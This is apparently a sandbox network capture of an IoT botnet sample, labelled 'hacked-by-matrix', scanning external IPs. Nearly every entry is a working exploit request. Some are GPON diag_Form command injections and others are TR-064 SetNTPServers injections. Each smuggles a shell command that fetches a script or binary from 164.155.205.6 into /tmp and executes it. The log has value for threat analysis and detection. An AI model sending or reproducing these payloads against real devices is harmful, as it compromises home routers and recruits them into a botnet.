Mar 2, 2024 12:38:10.132790089 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.23	32776	178.59.216.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132790089 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.23	59002	109.193.190.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132798910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.23	44072	94.50.40.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132803917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.23	51968	37.143.10.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132822990 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.23	47090	178.214.55.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132858992 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.23	42840	210.197.6.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132879972 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.23	36488	5.180.2.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132916927 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.23	54186	212.17.201.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132920980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.23	40658	178.180.11.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132941008 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.23	58742	24.254.99.137	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.247085094 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.23	51502	174.26.143.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.293991089 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:14.558182955 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.23	53766	72.160.101.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.325521946 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:14.558183908 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:14.779309034 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.23	58804	24.254.99.137	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.396946907 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.23	44378	27.237.6.119	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.397321939 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.23	38570	115.2.105.105	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.397355080 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.23	51562	174.26.143.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.482882023 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:11.450691938 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:12.602401018 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:15.070081949 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:19.673465014 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.23	48490	95.126.215.155	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.631099939 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:10.859077930 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 